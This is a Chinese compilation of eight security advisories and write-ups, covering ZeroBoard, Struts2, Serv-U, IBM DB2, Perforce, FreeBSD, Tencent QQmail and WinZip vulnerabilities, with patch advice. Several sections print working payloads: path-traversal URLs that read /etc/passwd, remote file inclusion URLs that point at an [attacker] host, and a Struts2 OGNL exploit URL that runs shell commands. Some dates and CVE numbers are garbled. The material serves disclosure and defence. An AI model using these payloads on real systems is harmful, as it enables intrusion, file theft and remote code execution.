ZeroBoard多个漏洞
“拉萨考点附近”通过精心收集，向本站投稿了8篇ZeroBoard多个漏洞，下面是小编为大家整理后的ZeroBoard多个漏洞，欢迎大家借鉴与参考，希望对大家有所帮助。
篇1：ZeroBoard多个漏洞
本文作者： 剑心[B.C.]
发布日期:.1.13
漏洞概述:
ZeroBoard是一款在Korea使用广泛的用于web论坛程序，最近在ZeroBoard中发现了多个漏洞，这些漏洞允许一些服务器上敏感信息被泄露，或者导致任意的Php脚本文件被包含并且执行。
漏洞发现:由SSR小组提供漏洞信息。
漏洞细节:
1）文件泄露漏洞
利用这个漏洞需要的系统环境:
Php.ini中以下内容必须这样设置:magic_quotes_gpc = off（注意:outlogin.php只有在Php 5.x下运行时才存在漏洞。）
漏洞描述:
当magic_quotes_gpc设置为off时，Php将丢弃含有NULL空字符的输入变量。
可以在_head.php中找到以下的漏洞代码:
if(eregi(“:\/\/”,$_zb_path)) $_zb_path=“”;
include $_zb_path.“lib.php”;}
也可以在include/write.php中发现以下的漏洞代码:
if(eregi(“:\/\/”,$dir)) $dir=“.”;
include $dir.“/write.php”;
还有outlogin.php中的漏洞代码:
if(eregi(“:\/\/”,$_zb_path)) $_zb_path=“./”;
[snip]
@include $_zb_path.“_head.php”;
漏洞证明:
以下的任何一个URL将触发这个漏洞。
[victim]/_head.php?_zb_path=../../../../../etc/passwd%00
[victim]/include/write.php?dir=../../../../../etc/passwd%00
[victim]/outlogin.php?_zb_path=../../../../../etc/passwd%00
2）Php原代码注射漏洞
所需的系统环境:
Php.ini中以下内容必须这样设置:: register_globals = On and/or allow_url_fopen = On.
漏洞描述:
在print_category.php中使用的$dir变量没有初始化，于是允许远程攻击者包含任意处于其他服务器上的文件，
漏洞证明:
以下的任何一个URL将触发这个漏洞。
[victim]/include/print_category.php?setup[use_category]=1&dir=[attacker]/
[victim]/skin/zero_vote/login.php? dir=[attacker]/
[victim]/skin/zero_vote/setup.php? dir=[attacker]/
[victim]/skin/zero_vote/ask_password.php? dir=[attacker]/
[victim]/skin/zero_vote/error.php? dir=[attacker]/
在include/print_category.php中发现的漏洞代码:
在skin/zero_vote/login.php, skin/zero_vote/setup.php与/zero_vote/setup.php中发现的漏洞代码:
非正式补丁:
在没有官方正式补丁的情况下我们建议你按照以下建议修改原文件:
ZeroBoard 版本4.1pl5
修改_head.php的13行如下:
if ( eregi(“:\/\/”,$_zb_path) || eregi(“\.\.”,$_zb_path)) $_zb_path=“”;
修改include/write.php的16行如下:
if( eregi(“:\/\/”,$dir) || eregi(“\.\.”,$dir)) $dir=“.”;
修改outlogin.php的50行如下:
if ( eregi(“:\/\/”,$_zb_path) || eregi(“\.\.”,$_zb_path)) $_zb_path=“./”;
将以下的代码插入到include/print_category.php的第3行:
if( eregi(“:\/\/”,$dir) || eregi(“\.\.”,$dir)) $dir=“.”;
修改skin/zero_vote/login.php的第1行，skin/zero_vote/setup.php的42行，skin/zero_vote/ask_password.php的第1行，skin/zero_vote/error.php的第1行如下:
“$dir/value.php3”; ?>
篇2：Struts2多个漏洞简要分析
1月份，SEC Cousult发布了一篇关于struts2漏洞的文章，写到4个struts2的最新漏洞，一个漏洞可以做远程代码执行，一个漏洞引出了新的远程代码执行，一个漏洞曾经我在blog上发布过（没有投CVE），以及一个之前也曾看到过，但是认为是鸡肋的漏洞。
这篇文章题目叫做
《Multiple critical vulnerabilities in Apache Struts2》
四个漏洞，本文一个一个的讲一讲它们的前世今生。
Remote command execution in Struts <= 2.2.1.1 (ExceptionDelegator)
新的远程代码执行漏洞，已经分析过它的利用和分析文章，具体地址在
/Article/01/116282.html
这里就不再多讲，我猜想或许就是因为这个漏洞被人爆了出来，才引出了老外发的这篇文章。
Remote command execution in Struts <= 2.3.1 (CookieInterceptor)
COOKIE 的远程代码执行，这看起来表面上很嚣张的样子，但其实较少用到，至少默认是不用的，必须要开发人员手工配置某个action才可以攻击，注意是一个单独的action，不懂这个的可以理解为URL。攻击者可能不知道是具体哪个action启用了这个配置，这会导致增加了漏洞发现的难度。也许攻击者要扫描所有的action，才能碰巧遇到一个做这样配置的地方。根据作者的经验，也许攻击者要扫描很多STRUTS2应用，才能遇到一个用到这个技术的应用。
下面的代码是示例：
可以看到，这是一个只针对testCookie这个action的配置。
由于CookieInterceptor在处理cookiesName时，会遍历cookiesMap，把cookie中的每个key和value做如下：
stack.setValue(cookieName, cookieValue);
这样的OGNL赋值处理。可以看到，cookiename将会作为一个ognl表达式执行。cookiename刚好是用户提交来的，所以触发了漏洞。通常应用程序都会指定一个cookiename，只接受指定cookiename，这样做是不存在漏洞的。但是如果真的有开发，把它配置为“*”号，这样就允许接受所有的cookiename，也就存在漏洞了。
除此之外，一个不可忽视的限制，是tomcat等服务器是默认不允许很多非主流符号，这导致这种攻击，在tomcat服务器下，无法进行，这个问题暂时没有发现绕过的方式。
相关代码如下，给各位喜欢bypass的同学做参考：
//以下为cookieName中不允许的字符
public static final char SEPARATORS[] = { '\t', ' ', '\“', '(', ')', ',', ':', ';', '<', '=', '>', '?', '@', '[', '\\', ']', '{', '}' };
总之很少用到，意味着很鸡肋，不是我们想象中的，只要有COOKIE就默认处理。即使开发人员需要处理cookie，也不见得会使用这个东西，在以往所接触到的项目中，从来没有见过这种配置方法。
还有更有趣的地方，这肯定是个彩蛋，struts给出的官方修补方案，居然犯了一个错误。首先看看官方公告：
struts.apache.org/2.x/docs/s2-008.html
特意抓个图证明。
解决方案是这样讲的：
Update to Struts 2.3.1 and apply a stronger acceptedParamNames filter to the ParameterInterceptor and CookieInterceptor:
acceptedParamNames = ”[a-zA-Z0-9\.][_']+“;
修补这个漏洞只需要在CookieInterceptor这个 代码中，加入一个白名单列表，注意这个列表中，是有“小括号”符号的（小括号的作用，可以见本文下一个小节）。还好struts在真正实现的代码中，并没有这样做，而是把小括号也去掉了，否则这又是一个bypass，后面的内容会详细讲解有没有小括号的区别。
Arbitrary File Overwrite in Struts <= 2.3.1 (ParametersInterceptor)
这个漏洞，讲的是因为没有过滤小括号而导致的问题，其实我的blog比他先爆出来，只是在利用方式上，并没有想到使用
java.io.FileWriter
去写个空的文件出来，覆盖原本的文件内容。
我的blog曾经发的一篇，目的是DOS攻击，结合java一些版本的漏洞，new出来一个浮点型的变量，具体漏洞细节见以下文章。
《Struts 2.2.3 DOS漏洞》
当时没有报告CVE，所以大家可能不知道。当然，我承认他们利用的比我精彩。
这个漏洞的精彩点，其实并不在谁先发现的，也不在于谁利用的更好，重点是这个团队在使用这个漏洞时，发出来一个OGNL语法小技巧。这个小小的技巧，刚好让一个大牛看到了，于是引出了一个不亚于当年秒杀所有struts框架的漏洞。
我相信，很多人都和我一样，垂首顿足的在讲：“擦！我怎么没想到”，当然，他们可能说的是英文版。
这个技巧先不讲，也就是小括号的事情，等下一个漏洞再讲，
Remote command execution in Struts <= 2.3.1 (DebuggingInterceptor)
看到这个漏洞，我真的无语了，老外这是鸡肋的超神了。一点实用价值都没有的漏洞，事实上，我在看代码时，一看到struts代码中出现：
If (devMode) XXXXX
就自觉跳过了。
原因是我认为没有人会傻到把debug默认开到公网上去，而struts官方也鄙视了一下这个漏洞：
While not being a security vulnerability itself……balabala…
开启debug模式，意味着速度超级慢，意味着大批的无意义的log文件输出。所以，这个漏洞没什么可讲的，已经鸡肋到基本上你不会见到了。
它的具体成因，是当一个开发人员实在笨到啥都要问元芳的地步，以至于在线上开启debug模式后，struts2会有一个专门的 ，用于处理特殊的参数，当这个 接收ognl命令时，可以直接执行，方便开发人员做调试。确切的说，这并不是漏洞，而是struts2专门给开发人员的调试模式。
从 技术的角度上讲，总会有开发人员这么做，所以不该放过，POC大家可以留着，好消息是官方不准备出补丁，只是轻轻的鄙视了一下这么做的开发人员。
CVE--3923: Yet another Struts2 Remote Code Execution
前文两次提到这个漏洞，这是最新的BYPASS，这个漏洞的发布者看到了上文所述的“Arbitrary File Overwrite in Struts <= 2.3.1 (ParametersInterceptor)”漏洞的利用技巧，突然来了灵感，才有了这篇bypass。这个老外真的很实诚，发现漏洞，立刻就爆出来了，都没有在手里捂热了。
原文地址在
blog.o0o.nu/2012/01/cve-2011-3923-yet-another-struts2.html
bypass的原理是利用了ognl的执行顺序。
假设有ognl语句如下：
（表达式1）（表达式2）
这样的语句，ognl会首先执行“表达式1”，假设得出结果为“12345”，后续流程，会把“12345”作为一个表达式再次执行。
看看这次新给出的exp
/myaction?foo=(#context[”xwork.MethodAccessor.denyMethodExecution“]= new java.lang.Boolean(false), #_memberAccess[”allowStaticMethodAccess“]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('mkdir /tmp/PWND'))(meh)&z[(foo)('meh')]=true
有很多人看不懂这个POC，就来问过我，为什么这样的都没有拦截？struts2不是已经做了拦截么？
我的回答是，请大家看清楚了，以前的拦截是针对参数名称的，而这个POC的参数名称有“#”号么？答案是木有。
根据原理，我们可以首先定义表达式1的值，是一个ognl表达式，就像exp中的第一个字段：
foo=(#context[”xwork.MethodAccessor.denyMethodExecution“]= new java.lang.Boolean(false), #_memberAccess[”allowStaticMethodAccess“]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('mkdir /tmp/PWND'))(meh)
这是一个很正常的get参数赋值。就像username=kxlzx一样正常。
在早期的远程代码执行漏洞修补中，会判断参数名称是否安全，而这里的参数名称叫做“foo”，这当然是安全的。
Exp的第二个字段：
&z[(foo)('meh')]=true
这里写的非常复杂，其实还是那个原理，foo在第一个字段中，已经被赋值了，这里直接使用foo的值，作为新的表达式，再次执行掉了。
对于这个exp，只有一个要求，就是exp对应的myaction中，必须有定义一个string类型的字段：
private String foo;
public void setFoo(String foo) {
this.foo = foo;
}
public String getFoo() {
return foo;
}
只要这是个string类型的字段就可以的，也许并不叫foo，叫做username等，总之必须是string类型的一个字段。要找到这样的一个action非常容易，必须用户注册啊，用户登录啊，必然会有的。
如果找到了叫做username的字段，这个exp就要变为：
/myaction?username=(#context[”xwork.MethodAccessor.denyMethodExecution“]= new java.lang.Boolean(false), #_memberAccess[”allowStaticMethodAccess“]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('mkdir /tmp/PWND'))(meh)&z[(username)('meh')]=true
既然说到这里，就不得不插一句，这篇文章，其实是我在很久之前，老外刚发出来没多久就写成的，但是很遗憾，直到我去xcon2012演讲都没有发出来。而我在xcon2012演讲的内容，刚好就包括了这个限制的绕过，所以强烈推荐大家可以去看看那篇文章。
《Xcon2012 攻击JAVA WEB议题下载》
从效果来看，这个漏洞已经无限接近了爆出的那个漏洞了，并且这个漏洞，不像以前的那个因为出了利用工具，所以在国内炒的很厉害，这个知道的人，可能不多呢。
Wooyun上那些曾经发生过struts2漏洞的网站，现在打了补丁，但是真的是最新的么？打了补丁之后，有再次更新么？
有朋友讲过一句话，struts就是一个筛子，我表示认可。
篇3：ServU多个安全漏洞漏洞预警
受影响系统：
serv-u serv-u 15.x
描述：
--------------------------------------------------------------------------------
Serv-U是一种使用广泛的FTP服务器程序，
Serv-U 15.1.0.458之前版本没有验证用户名称时会返回不同的响应，这可导致枚举有效的用户名称，某些用户输入没有正确过滤即返回给用户，这可导致在用户浏览器会话中执行任意HTML和脚本代码，
<*来源：vendor
链接：secunia.com/advisories/58991/
*>
建议：
--------------------------------------------------------------------------------
厂商补丁：
serv-u
------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
www.serv-u.com/releasenotes/
篇4：IBMDB2Universal中存在多个漏洞
IBMDB是一个大型的商业关系数据库系统，面向电子商务、商业资讯、内容管理、客户关系管理等应用，可运行于AIX、HP-UX、Linux、Solaris、Windows等系统，
IBMDBUniversalDatabase中存在多个漏洞，具体如下：
使用哈希连接(hsjn)时可能会遇到死循环，错误消息会转储在dbdiag.log文件中，最终充满文件系统;
DB在运行特殊SQL时会崩溃;
非正常终止远程连接导致服务器上的ORPHANDBAGENTS消耗大约%到5%的CPU占用率;
用户无需执行权限便可以创建基于例程的对象;
5SYSCAT.TABLES中的WITH/SELECT语句会导致实例崩溃;
6在从低层客户端连接时dbjd服务会结束;
7在IN-list中使用多于000个单元编译请求时会导致实例崩溃，
远程攻击者可以利用这些漏洞导致数据库崩溃，或非授权创建对象。
受影响系统：
IBMDBUniversalDatabase8..9a
IBMDBUniversalDatabase8..9
IBMDBUniversalDatabase8..8a
IBMDBUniversalDatabase8..8
IBMDBUniversalDatabase8..7b
IBMDBUniversalDatabase8..7
IBMDBUniversalDatabase8..6c
IBMDBUniversalDatabase8..6
IBMDBUniversalDatabase8..5
IBMDBUniversalDatabase8..
IBMDBUniversalDatabase8.
IBMDBUniversalDatabase8.0
不受影响系统：
IBMDBUniversalDatabase8.
IBMDBUniversalDatabase8.0
补丁下载：
www-.ibm.com/suort/docview.w
篇5：Perforce Server多个远程拒绝服务漏洞
受影响系统：Perforce Software Perforce Server <= .3/143793描述：--------------------------------------------------------------------------------BUGTRAQ ID: 28108Perforce软件配置管理系统是客户端/服务器架构的SCM工具，用户可通过P
受影响系统：Perforce Software Perforce Server <= 2007.3/143793
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 28108
Perforce软件配置管理系统是客户端/服务器架构的SCM工具，用户可通过Perforce客户端软件访问其服务端，
如果客户端请求中缺少某些参数的话，由于Perforce服务器中从报文中获得这些值的函数对返回的指针缺少检查，因此可能会触发空指针引用。这个漏洞影响dm-FaultFile、dm-LazyCheck、dm-ResolvedFile、dm-OpenFile、crypto等命令。
如果客户端向Perforce服务器发送了server-DiffFile和server-ReleaseFile命令的话，就会将客户端所提供的32位数用作数组初始化中的元素数；畸形的server-DiffFile命令会强制服务器限制死循环，导致耗尽所有内存和系统资源后服务终止，
<*来源：Luigi Auriemma （aluigi@pivx.com）
链接：marc.info/?l=bugtraq&m=120475134221716&w=2
*>
测试方法：
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
aluigi.org/poc/perforces.zip
建议：
--------------------------------------------------------------------------------
厂商补丁：
Perforce Software
-----------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
www.perforce.com/
篇6：FreeBSD I386SetLDT多个本地拒绝服务漏洞
受影响系统：FreeBSD FreeBSD 5.5
FreeBSD FreeBSD 5.4
FreeBSD FreeBSD 5.3
FreeBSD FreeBSD 5.2描述：
BUGTRAQ ID: 8CVE(CAN) ID: CVE--4178,CVE-2006-4172
FreeBSD就是一种运行在Intel平台上、可以自由使用的开放源码Unix类系统，
FreeBSD中的i386_set_ldt调用允许用户系统的程序动态管理每个进程的本地描述符表。由于使用了有符号的整数且缺少输入验证，内核中bzero可能会被要求处理很大的参数，漏洞代码如下：
415 int error = 0, i;
416 int largest_ld;
..
449 largest_ld = uap->start + uap->num;
450 if (largest_ld >pldt->ldt_len)
451 largest_ld = pldt->ldt_len;
452 i = largest_ld - uap->start;
453 bzero(&((union descriptor *)(pldt->ldt_base))[uap->start],
454 sizeof(union descriptor) * i);
在415和416行，“i”和“largest_ld”变量都是有符的整数。在449行，同时添加了uap->start和uap->num，这两个变量都是用户控制的且没有经过正确的检查。在452行，可以将“i”设置为很大的负值，导致在453行以很大的长度参数调用bzero。无效的内存访问会导致内核忙碌。
i386_set_ldt()系统调用会在LDT中设置当前进程的i386描述符列表。该调用接受一个开始选择器数（start）、包含有将要设置描述符的内存数组（descs），以及将要设置的条目数（num）。用户在通过sysarch()调用i386_set_ldt()时，如果将start参数设置为很低的整数值、将descs设置为非空的值，并将num设置为很高的无符整数值，就会触发largest_ld和descs_size（533和540行)中的整数溢出，导致耗尽所有可用的系统资源（541行）。此外还可以将start参数设置为低整数值、descs设置为空、num设置为很高的无符整数值触发largest_ld（515行）中的整数溢出，导致删除系统中的敏感数据（519和520行）。有漏洞的函数如下：
476 static int
477 i386_set_ldt(td, args)
478 struct thread *td;
479 char *args;
480 {
481 int error = 0, i;
482 int largest_ld;
483 struct mdproc *mdp = &td->td_proc->p_md;
484 struct proc_ldt *pldt = 0;
485 struct i386_ldt_args ua, *uap = &ua;
486 union descriptor *descs, *dp;
487 int descs_size;
488
489 if ((error = copyin(args, uap, sizeof(struct
i386_ldt_args))) < 0)
490 return(error);
491
492 #ifdef DEBUG
493 printf(”i386_set_ldt: start=%d num=%d descs=%p\n“,
494 uap->start, uap->num, (void *)uap->descs);
495 #endif
496
497 if (uap->descs == NULL) {
498 /* Free descriptors */
499 if (uap->start == 0 && uap->num == 0) {
500 /*
501 * Treat this as a special case, so userland
needn't
502 * know magic number NLDT.
503 */
504 uap->start = NLDT;
505 uap->num = MAX_LD - NLDT;
506 }
507 if (uap->start <= LUDATA_SEL || uap->num <= 0)
508 return (EINVAL);
509 mtx_lock_spin(&sched_lock);
510 pldt = mdp->md_ldt;
511 if (pldt == NULL || uap->start >= pldt->ldt_len) {
512 mtx_unlock_spin(&sched_lock);
513 return (0);
514 }
515 largest_ld = uap->start + uap->num;
516 if (largest_ld >pldt->ldt_len)
517 largest_ld = pldt->ldt_len;
518 i = largest_ld - uap->start;
519 bzero(&((union descriptor
*)(pldt->ldt_base))[uap->start],
520 sizeof(union descriptor) * i);
521 mtx_unlock_spin(&sched_lock);
522 return (0);
523 }
524
525 if (!(uap->start == LDT_AUTO_ALLOC && uap->num == 1)) {
526 /* complain a for a while if using old methods */
527 if (ldt_warnings++ < NUM_LDT_WARNINGS) {
528 printf(”Warning: pid %d used static ldt
allocation.\n“,
529 td->td_proc->p_pid);
530 printf(”See the i386_set_ldt man page for
more info\n“);
531 }
532 /* verify range of descriptors to modify */
533 largest_ld = uap->start + uap->num;
534 if (uap->start >= MAX_LD ||
535 uap->num < 0 || largest_ld >MAX_LD) {
536 return (EINVAL);
537 }
538 }
539
540 descs_size = uap->num * sizeof(union descriptor);
541 descs = (union descriptor *)kmem_alloc(kernel_map, descs_size);
542 if (descs == NULL)
543 return (ENOMEM);
544 error = copyin(uap->descs, descs, descs_size);
545 if (error) {
546 kmem_free(kernel_map, (vm_offset_t)descs, descs_size);
547 return (error);
548 }
549
<*来源：Adriano Lima （adriano@risesecurity.org）
Rodrigo Rubira Branco （rodrigo@risesecurity.org）
链接：marc.theaimsgroup.com/?l=bugtraq&m=115919812814071&w=2
www.idefense.com/intelligence/vulnerabilities/display.php?id=415
www.idefense.com/intelligence/vulnerabilities/display.php?id=414
*>
建议：
厂商补丁：FreeBSD
-------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
www.freebsd.org/security/
篇7：腾讯多个unfixed bugs漏洞预警
By Superhei
Sunday, April 24,
一、邪恶的filterflag
关于filterflag的问题最早报告在4月的《QQmail Multiple Xss Vulnerabilities》一文里,但是直到今天该问题没有彻底得到解决，多个功能都可以触发，最直接的功能就是“打印”功能：
m353.mail.qq.com/cgi-bin/readmail?sid=[xxx]&t=readmail_print&s=print&filterflag=true&mailid=[xxx]
默认直接引入filterflag=true，当被攻击者使用此功能时，就可能直接被xss攻击。我们在看看“读邮件”功能,通过上次报告的腾讯“修补”的方式其实只是同过引入一个iframe打开，通过分析访问的url可以得到真正的读邮件功能的url：
m353.mail.qq.com/cgi-bin/readmail?folderid=1&t=readmail&mailid=[xxx]&mode=pre&maxage=3600&base=12&ver=1&sid=[xxx]&newwin=true&nocheckframe=true
我们附加filterflag=true后成功触发xss。 对于实际利用来说，mailid和sid都是随着登录而变化的，那么我们怎么得到它们呢？ 通过上面的url可以看出mailid和sid都是get提交的变量，那么当我们引入第三方内容的时候通过取HTTP_REFERER可以得到当前邮件的url，当然包括了mailid和sid了！：）
poc设计如下：
邮件1的代码：
第三方内容[mail.php]:
提取HTTP_REFERER[即邮件1的url]后，注入filterflag=true后发送 邮件2
邮件2的代码：
test
攻击者访问邮件2后点击test的link，访问设置了filterflag=true的邮件1，导致我们
这个利用过程我称其为《回旋镖》
补丁建议：
A、这个开关的设计无非所怕过滤系统影响业务,不知道官方同学有没有跳查过真正对业务有多大的影响,必要是取消这个开关。[这又是一个安全于业务的话题！！]
B、如果这个开关必不可少的话，建议所用cookie/session等提交。
C、在需要filterflag=true的时候使用验证码，并提示用户保证邮件内容安全。
D、禁止在get方式提交敏感数据[sid/mailid]
二、悲剧的json
最早报告json导致的xss问题可以追溯到去年的2月我写过一篇blog《不要忘记数据本身的解析》当时的demo就是用的qun.qq.com上多个json导致的xss。后来我在今年的mhtml和utf7 bom导致的json里的xss问题。
现在我们在看看最开始提到的demo里的xss，到本文为止xss依旧！！！！
补丁建议：
引用blog《about utf7-BOM string injection》
--------------------------------
那么解决这个问题的方案有2点：
1. 严格控制数据文件，返回的Content-Type。
2. 数据存储时，使用编码。
当时甲方的朋友们看到json里直接插入html标签进行xss后，都基本所用了“2. 数据存储时，使用编码”了，而且没有去限制“Content-Type”，基本很在继续的“text/html”,这个也为这次的utf7-BOM string injection埋下了罪恶种子，如果这次再不修改Content-Type，我想有可能种子还有机会发芽开花!! :) 我想如果上面的2点方案同时用上，应该是一个不错的选择。
-------------------------------
三、没完没了的
就qqmail来说对于embed标签出现的安全问题从来就没有消停过，最早的qqmail大概所前可以直接通过：
来xss的。到里20《QQmail Multiple Xss Vulnerabilities》里需要使用相对路径了：
当时可以通过上传文件来调用...后来不知道什么时候限制了几个安全属性,设置了allownetworking=”internal“ allowscriptaccess=”never“
不过在今年4月根据Gareth Heyes发现的webkit下的code属性可以调用flash：
再一次成功xss，很块这个也被fixed了，不过在与此同时我发现了qqmail的另外一个缺陷[我同样也通知了官方的朋友，但是到本文为止未修补]：在处理embed标签时没有指定type属性，那么我们在webkit下可嵌入html代码[相当于iframe]，
对于利用先不说挂webkit的0day，貌似这个不可以直接在qqmail域执行js。:(
我们跳到文章前面第一节里的“回旋镖”，当时邮件2利用的这个需要点击，如果我们直接利用embed嵌入呢？ ：）
补丁建议：
严格按照安全所用embed的安全规范走，规定type属性。
四、附件之疼
qqmail对于html附件一直防御比较严格的，就我发现的前后报告了2次的utf7的xss，第一次不记得是什么时候里当时用
然而就在前几天又发现一个问题。qqmail在处理html附件时直接有显示“打开”功能，这个打开的网页肯定是做了安全过滤的，但是对于非html后缀的文件呢？
进过测试发现html附件“打开”的url为：
m480.mail.qq.com/cgi-bin/download?mailid=[xxx]&filename=pp.txt.htm&sid=[xxx]&action=view&func=inline
对应的附件“下载”url为：
m480.mail.qq.com/cgi-bin/download?mailid=[xxx]&filename=pp.txt.htm&sid=[xxx]
很显然url附加&action=view&func=inline就可以了....
于是我们添加附件名为非html后缀的文件：
m396.mail.qq.com/cgi-bin/download?mailid=[xxx]&filename=mime.rar&sid=[xxx]
用ie访问m396.mail.qq.com/cgi-bin/download?mailid=[xxx]&filename=mime.rar&sid=[xxx]&action=view&func=inline 成功xss。
实际利用一样要得到mailid和sid，如法炮制《回旋镖》：）
补丁建议：
对于附件问题来说在《QQmail Multiple Xss Vulnerabilities》问及《我在qqmail上放了*个后门》文里提到的保证”代码与数据分离是安全设计的重要原则“ 也就是附件与mail的域完全分离...
五、微博的csrf
在去年的时候报告了2个 的csrf漏洞。微博防御csrf的方式之是判断了HTTP_REFERER，那么我们只要绕过对HTTP_REFERER的判断或者通过as/js等可以自定义HTTP_REFERER的方法就可以进行csrf攻击了.
首先说一下已经补丁了的非常经典的漏洞：
设置子域名t.qq.com.80vul.com 直接写个提交的html，就可以成功csrf了。这个漏洞在报告后其实也没有马上fix的，多次建议他们才修补！！ 这个属于对referer处理的正则逻辑漏洞。
另外一个是PZ牛发现的一个firefox+flash可以伪造HTTP_REFERER的漏洞：
不过这个漏洞不在适用于firefox4.0，对于这样的浏览器的问题貌似应用方很无辜？根据我以前的blog文《web app安全的独立性》你还这样认为吗？另外今年的mhtml和utf7 bom导致的安全问题一样的道理。
补丁建议：
1、对于csrf的攻防在目前来是比较成熟的。建议增加token等机制。
2、重视《web app安全的独立性》
六、crossdomain.xml
早在n年前我就报告了qun.qq.com/crossdomain.xml的设置问题，直到前不久才设置为：
之前都是悲剧的，至于这样的后果这里就不谈了，我们在随便看看其他的子域名：
yc.qq.com/crossdomain.xml
ent.qq.com/crossdomain.xml
...
都还是domain=”*“
至于其他的基本都是domain=”*.qq.com“ domain=”*.soso.com"等，这样对于腾讯这样的庞大的子域名系统，找一个可以上传文件的子域名就可能突破。
补丁建议：
a、审计业务的需求，应该把握crossdomain.xml的设置，如没有必要这个xml都可以删除。
b、保证”代码与数据分离是安全设计的重要原则“[可以上传文件等的独立域名体系]
七、其他
比如国内各大公司还没有重视的json-hijecking、Clickjacking、FPI、子域名外包网站等问题。
小结
上面一些漏洞都是报告过但是没有得到完美处理的问题。这和这些漏洞本身的特点有关系，大多属于框架整体、业务功能本事的特点以及标准化的安全规范上的问题，所以只有从这些方面去着手才有可能从根本上解决问题。上面提到的那些漏洞就包括以下的一些原则或规范：
1、 《代码与数据分离是安全设计的重要原则》by 刺
2、 《web app安全的独立性》
3、 《不要忘记数据本身的解析》
4、 《Flash应用安全规范》 by jianxin
5、 确保好敏感数据的安全
从上面一些问题可以看出来腾讯很多漏洞都是从诞生来就埋下的隐患，而且在实际的安全推动过程缺少对应的规范原则，或者缺少执行力……
抛弃“见洞补漏”的刀耕火种的原始方式吧！
篇8：Winzip存在多个缓冲区溢出漏洞
Winzip存在多个缓冲区溢出漏洞
受影响系统：
WinZip 3.x
WinZip 6.x
WinZip 7.x
WinZip 8.x
WinZip 9.x
漏洞描述：
Winzip存在多个潜在安全漏洞，可危及用户系统安全，
1) 一些未明漏洞可导致缓冲溢出，
利用这些漏洞可能导致执行任意代码。
2) 一个问题导致事由于未正确确认命令行参数，通过使用特殊构建的参数可导致缓冲溢出和可能执行任意代码漏洞。
补丁下载：
www.winzip.com/upgrade.htm
热门推荐：苹果专题、时尚专题
点击阅读更多学院相关文章>>
分享到
【ZeroBoard多个漏洞】相关文章：
2.PPLive URI处理器LoadModule参数多个代码执行漏洞
3.漏洞整改报告
4.如何应对简历漏洞
10.漏洞词语近义词及造句
文档为doc格式
